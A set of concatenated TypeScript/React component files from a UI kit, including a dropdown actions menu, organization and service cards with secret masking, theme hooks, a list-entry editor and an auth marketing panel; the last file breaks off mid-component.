'react'\nimport Link from '../../embed-shims/next-link'\nimport { cn } from '../../utils/cn'\nimport { Ellipsis01Icon } from '../icons-v2-generated'\nimport { Button } from './button'\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuTrigger\n} from './dropdown-menu'\n\n/**\n * @deprecated Use `ActionsMenuItem` from `./actions-menu` with\n * `ActionsMenuDropdown` instead. `MoreActionsMenu` is being phased out in favor\n * of the `ActionsMenu*` family.\n */\nexport type MoreActionsItem = {\n  label: string\n  /** Click handler. Optional when `href` is provided. */\n  onClick?: () => void\n  /** If set, the item renders as a Next.js Link (real <a href> in the DOM). */\n  href?: string\n  /** Only relevant with `href` — opens the link in a new tab. */\n  openInNewTab?: boolean\n  icon?: React.ReactNode\n  disabled?: boolean\n  danger?: boolean\n}\n\n/**\n * @deprecated Use `ActionsMenuDropdownProps` from `./actions-menu` instead.\n */\nexport interface MoreActionsMenuProps {\n  items: MoreActionsItem[]\n  align?: 'start' | 'center' | 'end'\n  side?: 'top' | 'right' | 'bottom' | 'left'\n  sideOffset?: number\n  className?: string\n  /** Appended to the dropdown content. To render the menu above a high-z\n   *  surface (drawer, modal), prefer wrapping that surface in a\n   *  `PortalContainerContext` provider rather than escalating z-index here. */\n  contentClassName?: string\n  ariaLabel?: string\n  /** Custom trigger element. When provided, replaces the default ellipsis icon button. */\n  trigger?: React.ReactNode\n  /** Controlled open state. */\n  open?: boolean\n  /** Called when the open state changes — use together with `open`. */\n  onOpenChange?: (open: boolean) => void\n  /** Forwarded to the dropdown content. Call `e.preventDefault()` to stop\n   *  Radix returning focus (and its focus ring) to the trigger on close. */\n  onCloseAutoFocus?: (event: Event) => void\n}\n\n/**\n * Compact, reusable menu triggered by an ellipsis icon button.\n * Built on top of Radix DropdownMenu used in the UI Kit.\n *\n * @deprecated Use `ActionsMenuDropdown` from `./actions-menu` instead — it\n * supports the same trigger override (`customTrigger`), controlled `open` /\n * `onOpenChange`, `onCloseAutoFocus`, and `danger` items, plus grouped items,\n * checkboxes, and submenus. This component will be removed in a future release.\n */\nexport function MoreActionsMenu({\n  items,\n  align = 'end',\n  side = 'bottom',\n  sideOffset = 6,\n  className,\n  contentClassName,\n  ariaLabel = 'More actions',\n  trigger,\n  open,\n  onOpenChange,\n  onCloseAutoFocus\n}: MoreActionsMenuProps) {\n  return (\n    <DropdownMenu open={open} onOpenChange={onOpenChange}>\n      <DropdownMenuTrigger asChild>\n        {trigger || (\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            className={className || 'bg-ods-card border-ods-border hover:bg-ods-bg-hover flex items-center justify-center'}\n            aria-label={ariaLabel}\n          >\n            <Ellipsis01Icon size={24} className=\"text-ods-text-primary\" />\n          </Button>\n        )}\n      </DropdownMenuTrigger>\n      <DropdownMenuContent\n        align={align}\n        side={side}\n        sideOffset={sideOffset}\n        onCloseAutoFocus={onCloseAutoFocus}\n        className={cn(\n          'bg-ods-card border border-ods-border p-0 rounded-[4px] min-w-[200px]',\n          contentClassName,\n        )}\n      >\n        {items.map((item, idx) => {\n          const itemClassName =\n            'flex items-center gap-2 px-4 py-3 bg-ods-bg hover:bg-ods-bg-hover focus:bg-ods-bg-hover border-b border-ods-border last:border-b-0 rounded-none cursor-pointer data-[disabled]:opacity-50 data-[disabled]:cursor-not-allowed'\n\n          const content = (\n            <>\n              {item.icon && (\n                <div className={cn(item.danger ? 'text-ods-error' : 'text-ods-text-secondary', '[&_svg]:size-6 [&_svg]:shrink-0')}>\n                  {item.icon}\n                </div>\n              )}\n              <span className=\"text-h4 text-ods-text-primary\">\n                {item.label}\n              </span>\n            </>\n          )\n\n          const handleActivate = (e: React.SyntheticEvent) => {\n            e.stopPropagation()\n            if (!item.disabled) item.onClick?.()\n          }\n\n          // Link variant — real <a href> in the DOM, visible to crawlers\n          if (item.href) {\n            return (\n              <DropdownMenuItem\n                key={`${item.label}-${idx}`}\n                asChild\n                disabled={item.disabled}\n                className={itemClassName}\n              >\n                <Link\n                  href={item.href}\n                  target={item.openInNewTab ? '_blank' : undefined}\n                  rel={item.openInNewTab ? 'noopener noreferrer' : undefined}\n                  aria-disabled={item.disabled || undefined}\n                  tabIndex={item.disabled ? -1 : undefined}\n                  onClick={(e) => {\n                    if (item.disabled) {\n                      e.preventDefault()\n                      e.stopPropagation()\n                      return\n                    }\n                    if (item.onClick) handleActivate(e)\n                  }}\n                >\n                  {content}\n                </Link>\n              </DropdownMenuItem>\n            )\n          }\n\n          // Button variant — onClick only\n          return (\n            <DropdownMenuItem\n              key={`${item.label}-${idx}`}\n              onClick={handleActivate}\n              disabled={item.disabled}\n              className={itemClassName}\n            >\n              {content}\n            </DropdownMenuItem>\n          )\n        })}\n      </DropdownMenuContent>\n    </DropdownMenu>\n  )\n}\n\n\n","\"use client\"\n\nimport React from \"react\"\nimport Link from \"../../embed-shims/next-link\"\nimport { Monitor } from \"lucide-react\"\nimport { cn } from \"../../utils/cn\"\nimport { EntityImage } from \"./entity-image\"\n\nexport interface Organization {\n  id: string\n  organizationId?: string\n  name: string\n  imageUrl?: string | null\n  industry?: string\n  tier?: string\n  websiteUrl?: string\n  description?: string\n  totalDevices?: number\n  activeDevices?: number\n  mrrUsd?: number\n  [key: string]: any\n}\n\nexport interface OrganizationCardProps {\n  organization: Organization\n  fetchedImageUrl?: string\n  className?: string\n  href?: string\n  showActionButton?: boolean\n  actionButton?: {\n    icon: React.ReactNode\n    label: string\n    onClick: (org: Organization, e: React.MouseEvent) => void\n    variant?: 'ghost' | 'primary'\n    disabled?: boolean\n  }\n  footerStats?: Array<{\n    icon?: React.ReactNode\n    value: string | number\n    label?: string\n  }>\n  customFooter?: React.ReactNode\n  deviceCount?: number\n}\n\nexport function OrganizationCard({\n  organization,\n  fetchedImageUrl,\n  className,\n  href,\n  showActionButton = false,\n  actionButton,\n  footerStats,\n  customFooter,\n  deviceCount\n}: OrganizationCardProps) {\n  const handleActionClick = (e: React.MouseEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    actionButton?.onClick(organization, e)\n  }\n\n  const card = (\n    <div\n      className={cn(\n        \"flex flex-col bg-ods-card rounded-[6px] border border-ods-border overflow-clip p-4 gap-3 w-full relative\",\n        \"transition-colors\",\n        href && \"cursor-pointer hover:border-ods-border-hover hover:bg-ods-card-hover\",\n        className\n      )}\n    >\n      {/* Device count (top-right) */}\n      {deviceCount !== undefined && (\n        <div className=\"absolute top-4 right-4 flex items-center gap-2 shrink-0\">\n          <Monitor className=\"w-4 h-4 text-ods-text-secondary\" />\n          <span className=\"text-h6 text-ods-text-secondary\">\n            {deviceCount.toLocaleString()} devices\n          </span>\n        </div>\n      )}\n\n      {/* Action button (top-right) - only if no device count */}\n      {!deviceCount && showActionButton && actionButton && (\n        <button\n          className={cn(\n            \"absolute top-2 right-2 h-8 w-8 rounded flex items-center justify-center z-10 transition-colors\",\n            actionButton.variant === 'primary'\n              ? \"bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent-hover\"\n              : \"text-ods-text-secondary hover:text-ods-error hover:bg-ods-error-secondary\"\n          )}\n          onClick={handleActionClick}\n          disabled={actionButton.disabled}\n          aria-label={actionButton.label}\n        >\n          {actionButton.icon}\n        </button>\n      )}\n\n      {/* Header */}\n      <div className=\"flex items-start gap-3 w-full\">\n        <EntityImage\n          src={fetchedImageUrl || organization.imageUrl}\n          alt={organization.name}\n        />\n\n        <div className=\"flex-1 flex flex-col justify-center py-2 min-w-0\">\n          <h3 className=\"text-h3 text-ods-text-primary transition-colors truncate\" title={organization.name}>\n            {organization.name}\n          </h3>\n          <p className=\"text-h6 text-ods-text-secondary truncate\" title={organization.industry || organization.tier || organization.websiteUrl || \"Organization\"}>\n            {organization.industry || organization.tier || organization.websiteUrl || \"Organization\"}\n          </p>\n        </div>\n      </div>\n\n      {/* Description */}\n      {organization.description && (\n        <div className=\"w-full h-12 overflow-hidden\">\n          <p className=\"text-h4 text-ods-text-primary line-clamp-2\" title={organization.description}>\n            {organization.description}\n          </p>\n        </div>\n      )}\n\n      {/* Footer */}\n      {customFooter ? (\n        customFooter\n      ) : footerStats && footerStats.length > 0 ? (\n        <div className=\"flex items-center justify-between gap-2 w-full min-w-0\">\n          <div className=\"flex items-center gap-3 md:gap-4 min-w-0 flex-shrink\">\n            {footerStats.map((stat, index) => (\n              <div key={index} className=\"flex items-center gap-1 flex-shrink-0\">\n                {stat.icon}\n                <span className=\"text-h6 text-ods-text-primary\">\n                  {typeof stat.value === 'number' ? stat.value.toLocaleString() : stat.value}\n                </span>\n                {stat.label && (\n                  <span className=\"text-h6 text-ods-text-secondary\">\n                    {stat.label}\n                  </span>\n                )}\n              </div>\n            ))}\n          </div>\n        </div>\n      ) : null}\n    </div>\n  )\n\n  if (href) {\n    return (\n      <Link href={href} className=\"block no-underline text-inherit\">\n        {card}\n      </Link>\n    )\n  }\n\n  return card\n}\n","'use client'\n\nimport React, { useMemo, useState } from 'react'\nimport { cn } from '../../utils/cn'\nimport { EyeIcon } from '../icons'\nimport { Copy01Icon } from '../icons-v2-generated/documents'\nimport { CheckIcon } from '../icons-v2-generated/signs-and-symbols'\nimport { ExternalLink } from 'lucide-react'\nimport { OpenFrameLogo } from '../..'\nimport { useCopyToClipboard } from '../../hooks/use-copy-to-clipboard'\nimport { useIsTruncated } from '../../hooks/ui/use-is-truncated'\nimport { FloatingTooltip } from './floating-tooltip'\nimport { TruncateText } from './truncate-text'\n\nexport type ServiceCardRowAction = {\n  copy?: boolean\n  open?: boolean\n  reveal?: boolean\n}\n\nexport type ServiceCardRow = {\n  label?: string\n  value: string\n  href?: string\n  copyValue?: string\n  isSecret?: boolean\n  monospace?: boolean\n  actions?: ServiceCardRowAction\n}\n\nexport type ServiceCardTag = {\n  label: string\n}\n\nexport interface ServiceCardProps {\n  title: string\n  subtitle?: string\n  icon?: React.ReactNode\n  tag?: ServiceCardTag\n  rows: ServiceCardRow[]\n  className?: string\n}\n\nfunction MaskedValue({ value, isRevealed }: { value: string; isRevealed: boolean }) {\n  if (isRevealed) return <span>{value}</span>\n  return <span>{'•'.repeat(Math.min(value.length, 12))}</span>\n}\n\nexport function ServiceCard({ title, subtitle, icon, tag, rows, className }: ServiceCardProps) {\n  const resolvedIcon = icon ?? (\n    <OpenFrameLogo \n      className=\"w-10 h-10\"\n      lowerPathColor={'var(--color-accent-primary)'}\n      upperPathColor={'var(--color-text-primary)'}\n    />\n  )\n\n  return (\n    <div className={cn('bg-ods-card border border-ods-border rounded-lg p-6', className)}>\n      {/* Header */}\n      <div className=\"flex items-start justify-between gap-4 mb-4\">\n        <div className=\"flex items-center gap-4 min-w-0\">\n          <div className=\"w-12 h-12 flex items-center justify-center bg-ods-bg rounded-md border border-ods-border flex-shrink-0\">\n            {resolvedIcon}\n          </div>\n          <div className=\"min-w-0\">\n            <TruncateText variant=\"h3\">{title}</TruncateText>\n            {subtitle && (\n              <TruncateText variant=\"h6\" tone=\"secondary\">\n                {subtitle}\n              </TruncateText>\n            )}\n          </div>\n        </div>\n        {tag && (\n          <div className=\"px-3 py-1 rounded-full bg-ods-bg text-ods-text-primary text-h6 font-semibold whitespace-nowrap self-start border border-ods-border\">\n            {tag.label}\n          </div>\n        )}\n      </div>\n\n      {/* Rows */}\n      <div className=\"space-y-3\">\n        {rows.map((row, idx) => (\n          <ServiceCardRowItem key={idx} row={row} />\n        ))}\n      </div>\n    </div>\n  )\n}\n\nfunction ServiceCardRowItem({ row }: { row: ServiceCardRow }) {\n  const [revealed, setRevealed] = useState(false)\n  const { copy, copied } = useCopyToClipboard()\n  const { ref: valueRef, isTruncated: valueTruncated } = useIsTruncated<HTMLDivElement>(row.value)\n  const actions = useMemo<ServiceCardRowAction>(() => ({ copy: true, open: !!row.href, reveal: !!row.isSecret, ...row.actions }), [row])\n\n  const displayValue = row.isSecret ? <MaskedValue value={row.value} isRevealed={revealed} /> : <span>{row.value}</span>\n\n  const handleCopy = () => copy(row.copyValue ?? row.value)\n\n  const openInNewTab = () => {\n    if (!row.href) return\n    window.open(row.href, '_blank', 'noopener,noreferrer')\n  }\n\n  return (\n    <div className=\"flex items-center gap-3 min-w-0\">\n      {row.label && (\n        <div className=\"w-20 md:w-24 shrink-0 text-h6 text-ods-text-primary\">{row.label}</div>\n      )}\n      <div className={cn('flex-1 h-12 rounded-md border border-ods-border bg-ods-bg px-3 md:px-4 flex items-center justify-between min-w-0', row.monospace ? 'font-mono' : '')}>\n        {/* No tooltip while a secret is masked — the old native `title` leaked the raw value on hover. */}\n        <FloatingTooltip\n          content={row.value}\n          side=\"top\"\n          disabled={!valueTruncated || (row.isSecret && !revealed)}\n          triggerClassName=\"min-w-0\"\n          className=\"max-w-xs [overflow-wrap:anywhere]\"\n        >\n          <div ref={valueRef} className=\"truncate text-ods-text-primary\">{displayValue}</div>\n        </FloatingTooltip>\n        <div className=\"flex items-center gap-2 pl-3 flex-shrink-0\">\n          {actions.reveal && (\n            <button\n              onClick={() => setRevealed(v => !v)}\n              className=\"p-2 rounded hover:bg-ods-card text-ods-text-secondary\"\n              aria-label={revealed ? 'Hide' : 'Reveal'}\n            >\n              <EyeIcon className=\"w-5 h-5\" off={revealed} />\n            </button>\n          )}\n\n          {actions.copy && (\n            <button\n              onClick={handleCopy}\n              className={cn(\n                'p-2 rounded hover:bg-ods-card transition-colors',\n                copied ? 'text-ods-success' : 'text-ods-text-secondary',\n              )}\n              aria-label={`Copy ${row.label ?? 'value'}`}\n            >\n              {copied ? <CheckIcon size={20} /> : <Copy01Icon size={20} />}\n            </button>\n          )}\n\n          {actions.open && row.href && (\n            <button\n              onClick={openInNewTab}\n              className=\"p-2 rounded hover:bg-ods-card text-ods-text-secondary\"\n              aria-label={`Open ${row.label ?? 'link'}`}\n            >\n              <ExternalLink className=\"w-5 h-5\" />\n            </button>\n          )}\n        </div>\n      </div>\n    </div>\n  )\n}\n","\"use client\";\n\nimport * as React from \"react\"\nimport { createContext, useContext } from 'react';\nimport { useDynamicTheming } from '../../hooks/use-dynamic-theming';\n\ninterface DynamicThemeContextType {\n  theme: any;\n  isDark: boolean;\n  updateTheme: (theme: any) => void;\n  toggleDark: () => void;\n}\n\nconst DynamicThemeContext = createContext<DynamicThemeContextType | null>(null);\n\nexport function DynamicThemeProvider({ children }: { children: React.ReactNode }) {\n  const themeState = useDynamicTheming();\n\n  return (\n    <DynamicThemeContext.Provider value={themeState}>\n      {children}\n    </DynamicThemeContext.Provider>\n  );\n}\n\nexport function useDynamicTheme() {\n  const context = useContext(DynamicThemeContext);\n  if (!context) {\n    throw new Error('useDynamicTheme must be used within a DynamicThemeProvider');\n  }\n  return context;\n}","import { useState, useEffect } from 'react';\n\ninterface ThemeConfig {\n  primaryColor: string;\n  secondaryColor: string;\n  accentColor: string;\n  backgroundColor: string;\n  textColor: string;\n}\n\nconst defaultTheme: ThemeConfig = {\n  primaryColor: '#FFC008',\n  secondaryColor: '#161616',\n  accentColor: '#E5E5E5',\n  backgroundColor: '#FAFAFA',\n  textColor: '#161616',\n};\n\nexport function useDynamicTheming() {\n  const [theme, setTheme] = useState<ThemeConfig>(defaultTheme);\n  const [isDark, setIsDark] = useState(false);\n\n  useEffect(() => {\n    // Check for system preference\n    const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');\n    setIsDark(mediaQuery.matches);\n\n    const handleChange = (e: MediaQueryListEvent) => {\n      setIsDark(e.matches);\n    };\n\n    mediaQuery.addEventListener('change', handleChange);\n    return () => mediaQuery.removeEventListener('change', handleChange);\n  }, []);\n\n  const updateTheme = (newTheme: Partial<ThemeConfig>) => {\n    setTheme(prev => ({ ...prev, ...newTheme }));\n  };\n\n  const toggleDark = () => {\n    setIsDark(prev => !prev);\n  };\n\n  return {\n    theme,\n    isDark,\n    updateTheme,\n    toggleDark,\n  };\n}","\"use client\";\n\nimport * as React from \"react\";\nimport {\n  ThemeProvider as NextThemesProvider,\n  useTheme as useNextTheme,\n} from \"next-themes\";\nimport type { ThemeProviderProps as NextThemesProviderProps } from \"next-themes/dist/types\";\n\n/**\n * ODS theme system — thin wrapper over `next-themes`.\n *\n * We deliberately do NOT hand-roll a provider/no-flash script: `next-themes`\n * is already a dependency, is battle-tested in Next.js (App & Pages router),\n * injects its own pre-paint anti-flash script, handles SSR + localStorage +\n * cross-tab sync, and also works in plain React (Vite/Tauri).\n *\n * Product model (locked): a MANUAL light/dark switch, default DARK,\n * persisted to localStorage. No \"system\" mode (`enableSystem={false}`).\n *\n * Drives styling by setting `data-theme=\"light|dark\"` on <html>;\n * `src/styles/ods-colors.css` swaps the `--ods-*` primitives accordingly.\n *\n * Public API exposed by this module:\n *   • `<ThemeProvider>` — preconfigured next-themes provider.\n *   • `useTheme()`      — raw next-themes hook (advanced cases).\n *   • `useThemeToggle()`— headless convenience hook for building toggle UI\n *                         in consumer apps (no styled component on purpose;\n *                         apps own their button visuals via the lib's\n *                         existing `<Button>`).\n */\n\nexport type Theme = \"light\" | \"dark\";\n\nexport const THEME_STORAGE_KEY = \"ods-theme\";\nexport const THEME_ATTRIBUTE = \"data-theme\";\nexport const DEFAULT_THEME: Theme = \"dark\";\n\nexport type ThemeProviderProps = Partial<NextThemesProviderProps>;\n\n/**\n * Pre-configured provider. Wrap the app once (Next.js: in the root layout;\n * apps must keep `suppressHydrationWarning` on <html> — already the case).\n * No `<ThemeScript>` needed — next-themes handles the no-flash script.\n *\n * All next-themes props are overridable, but the ODS defaults below encode\n * the product decision.\n */\nexport function ThemeProvider({ children, ...overrides }: ThemeProviderProps) {\n  return (\n    <NextThemesProvider\n      attribute={THEME_ATTRIBUTE}\n      defaultTheme={DEFAULT_THEME}\n      enableSystem={false}\n      themes={[\"light\", \"dark\"]}\n      storageKey={THEME_STORAGE_KEY}\n      disableTransitionOnChange={false}\n      {...overrides}\n    >\n      {children}\n    </NextThemesProvider>\n  );\n}\n\n/**\n * Re-export of next-themes' `useTheme` (no custom logic on top).\n * Returns `{ theme, setTheme, resolvedTheme, themes, ... }`.\n */\nexport const useTheme = useNextTheme;\n\n/* ------------------------------------------------------------------ */\n/* useThemeToggle — headless convenience for building toggle UIs      */\n/* ------------------------------------------------------------------ */\n\nexport interface UseThemeToggleResult {\n  /** Becomes `true` after the client has hydrated and resolved the stored\n   *  preference. Until then, `theme`/`isDark`/`isLight` reflect the SSR\n   *  default (`DEFAULT_THEME`) — handy for rendering a stable placeholder. */\n  mounted: boolean;\n  /** Resolved active theme (`\"dark\"` until mounted, then real value). */\n  theme: Theme;\n  isDark: boolean;\n  isLight: boolean;\n  /** Flip dark↔light and persist. */\n  toggle: () => void;\n  /** Set explicitly to `\"light\"` or `\"dark\"` and persist. */\n  setTheme: (theme: Theme) => void;\n}\n\n/**\n * Headless toggle helper. Build any button you like:\n *\n *   const { isDark, toggle, mounted } = useThemeToggle()\n *   <Button size=\"icon\" variant=\"transparent\" onClick={toggle} aria-label=\"…\">\n *     {mounted && (isDark ? <Sun01Icon /> : <MoonIcon />)}\n *   </Button>\n *\n * The mount gate avoids hydration mismatch (next-themes only knows the\n * persisted preference on the client after mount).\n */\nexport function useThemeToggle(): UseThemeToggleResult {\n  const { resolvedTheme, theme, setTheme } = useTheme();\n  const [mounted, setMounted] = React.useState(false);\n  React.useEffect(() => setMounted(true), []);\n\n  const active: Theme = mounted\n    ? resolvedTheme === \"light\" || theme === \"light\"\n      ? \"light\"\n      : \"dark\"\n    : DEFAULT_THEME;\n\n  const setOdsTheme = React.useCallback(\n    (next: Theme) => setTheme(next),\n    [setTheme],\n  );\n\n  const toggle = React.useCallback(\n    () => setTheme(active === \"dark\" ? \"light\" : \"dark\"),\n    [active, setTheme],\n  );\n\n  return {\n    mounted,\n    theme: active,\n    isDark: active === \"dark\",\n    isLight: active === \"light\",\n    toggle,\n    setTheme: setOdsTheme,\n  };\n}\n","\"use client\";\n\nimport { useState, useEffect } from 'react';\nimport { Button, Input, Label } from '../ui';\nimport { Trash2, Plus, Save, Loader2 } from 'lucide-react';\nimport { ReactNode, ClipboardEvent } from 'react';\n\ninterface ArrayEntryManagerProps<T extends { [key: string]: any }> {\n  title: ReactNode; // Support string or ReactNode for badge integration\n  items: T[];\n  onChange: (items: T[]) => void;\n  fieldKey: keyof T; // The key to edit (e.g., 'github_release_url', 'kb_article_path')\n  placeholder: string;\n  emptyMessage: string;\n  addButtonText: string;\n  saveButtonText?: string; // Text for save button when requireSave=true\n  icon?: ReactNode;\n  className?: string;\n  requireSave?: boolean; // If true, show \"Save\" button and only call onChange when clicked\n  onDirtyChange?: (isDirty: boolean) => void; // Callback when dirty state changes\n  renderLabel?: (item: T, index: number) => ReactNode; // Custom label/badge renderer for each entry\n  /**\n   * An optional SECOND field on each entry, edited above the main one — a\n   * human name for the thing the main field addresses.\n   *\n   * Design docs need it because a link's own title is the only name available:\n   * claude.ai serves the same `og:title` (\"Claude Artifact\") for every artifact\n   * and its per-artifact metadata endpoint is unreachable server-side, so an\n   * unnamed link can only ever render as its type. Omitted by every other\n   * caller, which keeps their single-field row exactly as it was.\n   */\n  titleFieldKey?: keyof T;\n  titlePlaceholder?: string;\n  isSaving?: boolean; // Loading state for save button\n}\n\nexport function ArrayEntryManager<T extends { [key: string]: any }>({\n  title,\n  items,\n  onChange,\n  fieldKey,\n  placeholder,\n  emptyMessage,\n  addButtonText,\n  saveButtonText = 'Save Changes',\n  icon,\n  className = '',\n  requireSave = false,\n  onDirtyChange,\n  renderLabel,\n  titleFieldKey,\n  titlePlaceholder,\n  isSaving = false\n}: ArrayEntryManagerProps<T>) {\n  // Local state for draft changes (when requireSave=true)\n  const [draftItems, setDraftItems] = useState<T[]>(items);\n  const [isDirty, setIsDirty] = useState(false);\n\n  // Sync draft with props when items change from parent (but NOT when editing or saving)\n  useEffect(() => {\n    if (!isDirty && !isSaving) {\n      setDraftItems(items);\n    }\n  }, [items, isDirty, isSaving]);\n\n  // Notify parent when dirty state changes\n  useEffect(() => {\n    if (onDirtyChange) {\n      onDirtyChange(isDirty);\n    }\n  }, [isDirty, onDirtyChange]);\n\n  const workingItems = requireSave ? draftItems : items;\n  const setWorkingItems = requireSave\n    ? (newItems: T[]) => {\n        setDraftItems(newItems);\n        setIsDirty(true);\n      }\n    : onChange;\n\n  const addItem = () => {\n    const newItem = { [fieldKey]: '' } as T;\n    setWorkingItems([newItem, ...workingItems]); // Add at top for better UX\n  };\n\n  const removeItem = (index: number) => {\n    setWorkingItems(workingItems.filter((_, i) => i !== index));\n  };\n\n  const updateItem = (index: number, value: string, key: keyof T = fieldKey) => {\n    const updated = [...workingItems];\n    updated[index] = { ...updated[index], [key]: value };\n    setWorkingItems(updated);\n  };\n\n  const handleSave = async () => {\n    await onChange(draftItems);\n    setIsDirty(false); // Reset after save completes\n  };\n\n  // Handle paste of multiple IDs separated by newlines\n  const handlePaste = (index: number, e: ClipboardEvent<HTMLInputElement>) => {\n    const pastedText = e.clipboardData.getData('text');\n\n    // Split by newlines (handles \\n, \\r\\n, \\r)\n    const lines = pastedText.split(/[\\r\\n]+/).map(line => line.trim()).filter(line => line.length > 0);\n\n    // If only one line, let default paste behavior handle it\n    if (lines.length <= 1) {\n      return;\n    }\n\n    // Prevent default paste for multi-line\n    e.preventDefault();\n\n    const currentItem = items[index];\n    const currentValue = (currentItem[fieldKey] as string) || '';\n\n    // Build new items array\n    const newItems = [...items];\n\n    if (currentValue.trim() === '') {\n      // If current field is empty, use first pasted value for it\n      newItems[index] = { ...newItems[index], [fieldKey]: lines[0] };\n\n      // Add remaining lines as new items after current index\n      const additionalItems = lines.slice(1).map(line => ({ [fieldKey]: line } as T));\n      newItems.splice(index + 1, 0, ...additionalItems);\n    } else {\n      // If current field has value, add all pasted lines as new items after current\n      const additionalItems = lines.map(line => ({ [fieldKey]: line } as T));\n      newItems.splice(index + 1, 0, ...additionalItems);\n    }\n\n    onChange(newItems);\n  };\n\n  return (\n    <div className={`space-y-3 ${className}`}>\n      <div className=\"flex items-center justify-between\">\n        <Label>{title}</Label>\n        <div className=\"flex items-center gap-2\">\n          {requireSave && isDirty && (\n            <Button\n              type=\"button\"\n              size=\"small-legacy\"\n              onClick={handleSave}\n              disabled={isSaving}\n              leftIcon={isSaving ? <Loader2 className=\"h-4 w-4 animate-spin\" /> : <Save className=\"h-4 w-4\" />}\n              className=\"text-h6 bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent-hover\"\n            >\n              {isSaving ? 'Saving...' : saveButtonText}\n            </Button>\n          )}\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"small-legacy\"\n            onClick={addItem}\n            leftIcon={<Plus className=\"h-4 w-4\" />}\n            className=\"text-h6\"\n          >\n            {addButtonText}\n          </Button>\n        </div>\n      </div>\n\n      {workingItems.map((item, index) => (\n        <div key={index} className=\"flex items-center gap-3 p-3 bg-ods-bg-surface rounded-lg border border-ods-border\">\n          {icon && (\n            <div className=\"w-8 h-8 flex items-center justify-center\">\n              {icon}\n            </div>\n          )}\n\n          {/* min-w-0: a wide renderLabel (e.g. a DeliveryRow) must truncate, not push the row past its host. */}\n          <div className=\"flex-1 min-w-0 space-y-2\">\n            {renderLabel && renderLabel(item, index)}\n            {titleFieldKey ? (\n              <Input\n                placeholder={titlePlaceholder ?? 'Name'}\n                value={(item[titleFieldKey] as string) ?? ''}\n                onChange={(e) => updateItem(index, e.target.value, titleFieldKey)}\n                onKeyDown={(e) => e.key === 'Enter' && e.preventDefault()}\n                className=\"bg-ods-bg border-ods-border text-ods-text-primary\"\n              />\n            ) : null}\n            <Input\n              placeholder={placeholder}\n              value={item[fieldKey] as string}\n              onChange={(e) => updateItem(index, e.target.value)}\n              onKeyDown={(e) => e.key === 'Enter' && e.preventDefault()}\n              onPaste={(e) => handlePaste(index, e)}\n              className=\"bg-ods-bg border-ods-border text-ods-text-primary\"\n            />\n          </div>\n\n          <Button\n            type=\"button\"\n            variant=\"transparent\"\n            size=\"icon\"\n            onClick={() => removeItem(index)}\n            className=\"text-ods-error hover:bg-ods-error-secondary\"\n          >\n            <Trash2 className=\"h-4 w-4\" />\n          </Button>\n        </div>\n      ))}\n\n      {workingItems.length === 0 && (\n        <div className=\"text-center py-4 px-4 bg-ods-bg-surface border border-ods-border rounded-lg\">\n          <p className=\"text-ods-text-secondary text-h6\">\n            {emptyMessage}\n          </p>\n        </div>\n      )}\n    </div>\n  );\n}\n\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { OpenFrameLogo } from '../../icons'\nimport { CreditCardXmarkIcon } from '../../icons-v2-generated/finance/credit-card-xmark-icon'\nimport { FileOffIcon } from '../../icons-v2-generated/documents/file-off-icon'\nimport { FlaskVialIcon } from '../../icons-v2-generated/school/flask-vial-icon'\nimport { XmarkAltIcon } from '../../icons-v2-generated/signs-and-symbols/xmark-alt-icon'\nimport { Button } from '../../ui/button'\n\nexport interface AuthBenefit {\n  icon: React.ReactNode\n  label: string\n}\n\nexport interface AuthBenefitsPanelProps {\n  title?: string\n  description?: string\n  benefits?: AuthBenefit[]\n  learnMoreLabel?: string\n  learnMoreUrl?: string\n  className?: string\n}\n\nconst DEFAULT_TITLE = 'The All-in-One Open Platform for MSPs'\n\nconst DEFAULT_DESCRIPTION =\n  'All your core ops in one place - built for MSPs who are done duct-taping tools together. Unified stack, AI-ready, no vendor tax. Just solid software that lets you run lean and fast.'\n\nconst DEFAULT_BENEFITS: AuthBenefit[] = [\n  { icon: <CreditCardXmarkIcon />, label: 'No card required' },\n  { icon: <XmarkAltIcon />, label: 'Cancel Anytime' },\n  { icon: <FlaskVialIcon />, label: '14 day free trial' },\n  { icon: <FileOffIcon />, label: 'No Contract' },\n]\n\n/**\n * Marketing panel shown alongside the auth forms — title, blurb, benefit chips\n * and a \"learn more\" link. Presentational; content is overridable via props.\n */\nexport function AuthBenefitsPanel({\n  title = DEFAULT_TITLE,\n  description = DEFAULT_DESCRIPTION,\n  benefits = DEFAULT_BENEFITS,\n  learnMoreLabel = 'Learn More About OpenFrame',\n  learnMoreUrl = 'https://www.flamingo.run/',\n  className,\n}: AuthBenefitsPanelProps) {\n  return (\n    <div\n      className={cn(\n        'flex w-full flex-col gap-[var(--spacing-system-xl)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-xl)]',\n        className,\n      )}\n    >\n      <h2 className=\"text-h2 text-ods-text-primary tracking-[-0.64px]\">{title}</h2>\n      <p className=\"text-h4 text-ods-text-primary\">{description}</p>\n\n      <div className=\"flex flex-wrap content-center items-center gap-[var(--spacing-system-m)]\">\n        {benefits.map((benefit) => (\n          <div key={benefit.label} className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n            <span className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary [&_svg]:size-4\">\n              {benefit.icon}\n            </span>\n            <span className=\"whitespace-nowrap text-h4 text-ods-text-primary\">{benefit.label}</span>\n          </div>\n        ))}\n      </div>\n\n      <Button\n        variant=\"outline\"\n        href={learnMoreUrl}\n        openInNewTab\n        leftIcon={\n          <OpenFrameLogo\n            className=\"h-6 w-6\"\n            lowerPathColor=\"var(--color-accent-primary)\"\n            upperPathColor=\"var(--color-text-primary)\"\n          />\n        }\n        className=\"w-full md:w-auto md:self-start\"\n      >\n        {learnMoreLabel}\n      </Button>\n    </div>\n  )\n}\n","'use client'\n\nimport { OpenFrameLogo } from '../../icons'\nimport { FlamingoLogoIcon } from '../../icons-v2-generated/logos/flamingo-logo-icon'\n\n/** OpenFrame logo + wordmark, shown at the top of the auth screens. */\nexport function OpenFrameWordmark() {\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n      <OpenFrameLogo\n        className=\"h-10 w-10\"\n        